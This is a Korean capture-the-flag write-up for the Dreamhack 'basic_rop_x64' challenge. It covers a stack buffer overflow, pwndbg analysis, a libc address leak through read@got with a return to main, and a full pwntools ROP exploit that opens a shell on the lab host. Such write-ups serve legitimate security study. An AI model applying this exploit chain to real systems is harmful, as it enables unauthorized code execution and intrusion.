읽기 안내
Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.
환경

- 64bit
- NX ON
실습 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
분석
1. 취약점 분석
buf 변수의 크기는 0x40이다. 그러나 read() 함수에서 buf 변수에 0x400 크기의 입력을 받고 있다. 이 부분에서 BOF 취약점이 발생한다.
이번 환경에서는 NX 보호기법이 거러려 있기 때문에 앞서 말했듯 셸코드 사용이 어렵고, Return Oriented Programming 기법을 이용해서 익스플로잇을 진행해보자.
2. 익스플로잇
ROP를 사용하여 system("/bin/sh")를 실행하는 것을 목표로 해보자. 해당 기능을 실행하기 위해서는 여러 가젯과 인자로 들어갈 값들을 찾아야 한다.
Buffer Overflow
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
buf의 크기는 0x40, 64 바이트이지만, 0x400 = 1024 바이트를 입력 받을 수 있어 버퍼 오버플로우가 발생한다. buf가 할당된 64바이트 뒤에는 8바이트의 SFP와 8바이트의 RET이 위치한다.
그래서 'A'를 72바이트만큼 입력해서 buf, SFP를 더미 데이터로 덮고 RET를 원하는 값으로 설정하면 바이너리의 실행 흐름을 조작할 수 있다.
pwndbg> disassemble main
Dump of assembler code for function main:
0x00000000004007ba <+0>: push rbp
0x00000000004007bb <+1>: mov rbp,rsp
0x00000000004007be <+4>: sub rsp,0x50
0x00000000004007c2 <+8>: mov DWORD PTR [rbp-0x44],edi
0x00000000004007c5 <+11>: mov QWORD PTR [rbp-0x50],rsi
0x00000000004007c9 <+15>: lea rdx,[rbp-0x40]
0x00000000004007cd <+19>: mov eax,0x0
0x00000000004007d2 <+24>: mov ecx,0x8
0x00000000004007d7 <+29>: mov rdi,rdx
0x00000000004007da <+32>: rep stos QWORD PTR es:[rdi],rax
0x00000000004007dd <+35>: mov eax,0x0
0x00000000004007e2 <+40>: call 0x40075e <initialize>
0x00000000004007e7 <+45>: lea rax,[rbp-0x40]
0x00000000004007eb <+49>: mov edx,0x400
0x00000000004007f0 <+54>: mov rsi,rax
0x00000000004007f3 <+57>: mov edi,0x0
0x00000000004007f8 <+62>: call 0x4005f0 <read@plt>
0x00000000004007fd <+67>: lea rax,[rbp-0x40]
0x0000000000400801 <+71>: mov edx,0x40
0x0000000000400806 <+76>: mov rsi,rax
0x0000000000400809 <+79>: mov edi,0x1
0x000000000040080e <+84>: call 0x4005d0 <write@plt>
0x0000000000400813 <+89>: mov eax,0x0
0x0000000000400818 <+94>: leave
0x0000000000400819 <+95>: ret
End of assembler dump.
read, write 함수에 인자로 들어가는 buf의 주소는 rbp - 0x40 임을 확인할 수 있다. 따라서 buf + 0x40이 SFP이고 , buf + 0x48이 익스플로잇 시 값을 조작하여야 하는 RET의 부분이다.
─────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x7ffff7e99887 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x40
RDI 0x1
RSI 0x7fffffffc850 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbb\\n'
R8 0x7fffffffc780 ◂— 0x0
R9 0x0
R10 0x7ffff7d8c128 ◂— 0xf002200005372 /* 'rS' */
R11 0x246
R12 0x7fffffffc9a8 —▸ 0x7fffffffce4e ◂— '/home/jerry/rop/basic_rop_x64'
R13 0x4007ba (main) ◂— push rbp
R14 0x0
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
RBP 0x6161616161616161 ('aaaaaaaa')
RSP 0x7fffffffc898 ◂— 'bbbbbbbb\\n'
RIP 0x400819 (main+95) ◂— ret
──────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────
0x7ffff7e99887 <write+23> cmp rax, -0x1000
0x7ffff7e9988d <write+29> ja write+112 <write+112>
0x7ffff7e9988f <write+31> ret
↓
0x400813 <main+89> mov eax, 0
0x400818 <main+94> leave
► 0x400819 <main+95> ret <0x6262626262626262>
"a" * 72 + "b" * 8의 입력을 주니 0x6262626262626262("bbbbbbbb")로 리턴하는 것을 확인할 수 있다.
system 함수 주소 계산
ASLR이 걸려있기 때문에, system 함수의 주소는 계속 변하게 되지만 ASLR로 인해 변경되는 주소는 라이브러리가 매핑된 Base 주소이고, 이에 따라 라이브러리 내부 함수들의 offset 값은 변경되지 않는다. 그래서 Base 주소를 구하면 Base 주소 + system 함수의 offset을 통해 system 함수의 주소를 구할 수 있다.
system 함수는 libc.so.6에 정의되어 있고, 해당 라이브러리에는 read, puts, printf도 정의되어 있다. 그래서 read 함수의 주소 - read 함수의 offset을 하면 Base 주소를 구할 수 있다.
read 함수가 실행된 이후 read 함수의 주소는 GOT에 등록되어 있기 때문에, read 함수의 GOT 값을 읽으면 read 함수의 주소를 구할 수 있다.
read 함수가 실행된 이후 read 함수의 주소는 GOT에 등록되어 있기 때문에, read 함수의 GOT 값을 읽으면 read 함수의 주소를 구할 수 있다.
"/bin/sh" 문자열
system("/bin/sh")를 실행하기 위해서는 "/bin/sh" 문자열이 필요하다. "/bin/sh" 무자열의 주소를 grep 명령어로 찾아보자.
pwndbg> search "/bin/sh"
Searching for value: '/bin/sh'
libc.so.6 0x7ffff7f5d678 0x68732f6e69622f /* '/bin/sh' */
libc.so.6 라이브러리에 존재한다. 하지만 이 영역은 ASLR의 영향을 받기 때문에, 위의 system 함수와 동일하게 Base 주소 + "/bin/sh" 문자열 offset 으로 주소를 구해야 한다.
"/bin/sh" 문자열의 offset은 아래 코드를 통해 구할 수 있다. pwntools의 ELF를 사용하여 libc를 불러온 후, libc에서 search 메서드 함수를 사용한다.
from pwn import *
libc = ELF("./libc.so.6", checksec=False)
sh = list(libc.search(b"/bin/sh"))[0]
시나리오
라이브러리의 Base 주소를 모르기 때문에 바로 system("/bin/sh")를 실행하기는 어려움이 있다. 따라서 ret2main 기법을 사용해보자. ret2main 기법은 원하는 정보를 얻은 후, 다시 main 함수로 돌아와 원하는 명령을 계속 이어나가는 기법이다.
먼저 write 함수를 이용해 라이브러리의 Base 주소 libc base를 구한 후, 그를 이용해 system 함수와 "/bin/sh"주소를 계산한 후, 두 번째 main 함수 실행 시 system("/bin/sh")를 실행하여 문제를 해결할 수 있다.
libc base 구하기
write(1, read@got, 8)read@got값을 출력하여read함수 주소 획득libc base = read address - read offsetread함수의 주소에서 offset을 빼서libc base구하기
system 함수 주소 구하기
system = libc base + system offset
“/bin/sh” 주소 구하기
“/bin/sh” = libc base + “/bin/sh” offset
ret2main
write(1, read@got, 8)의 코드 이후 main 의 주소를 넣어서 RET 를 조작하면 main 함수로 돌아올 수 있습니다.
셸 획득
위에서 system 함수의 주소와 "/bin/sh" 문자열의 주소를 구했기 때문에, pop rdi; ret 가젯을 이용하면 system("/bin/sh") 를 호출하여 셸을 획득할 수 있다. 익스플로잇 시 사용하는 가젯은 pwntools의 ROP 클래스의 메서드 함수인 find_gadget을 사용하여 구했다.
익스플로잇 코드
from pwn import *
def slog(symbol, addr):
return success(symbol + ": " + hex(addr))
#context.log_level = 'debug'
p = remote('host3.dreamhack.games', 10263)
#p = process("./basic_rop_x64")
e = ELF("./basic_rop_x64")
#libc = e.libc
libc = ELF("./libc.so.6", checksec=False)
r = ROP(e)
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]
main = e.symbols["main"]
read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
sh = list(libc.search(b"/bin/sh"))[0]
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
# Stage 1
payload:bytes = b'A' * 0x48
# write(1, read@got, 8)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(8)
payload += p64(write_plt)
# return to main
payload += p64(main)
p.send(payload)
p.recvuntil(b'A' * 0x40)
read = u64(p.recvn(6)+b'\\x00'*2)
lb = read - read_offset
system = lb + system_offset
binsh = sh + lb
slog("read", read)
slog("libc base", lb)
slog("system", system)
slog("/bin/sh", binsh)
# Stage 2
payload: bytes = b'A' * 0x48
# system("/bin/sh")
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)
p.send(payload)
p.recvuntil(b'A' * 0x40)
p.interactive()
작성 기록과 문제 출처
원문과 출처
풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.
원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.
이미지 원본 출처
다음 글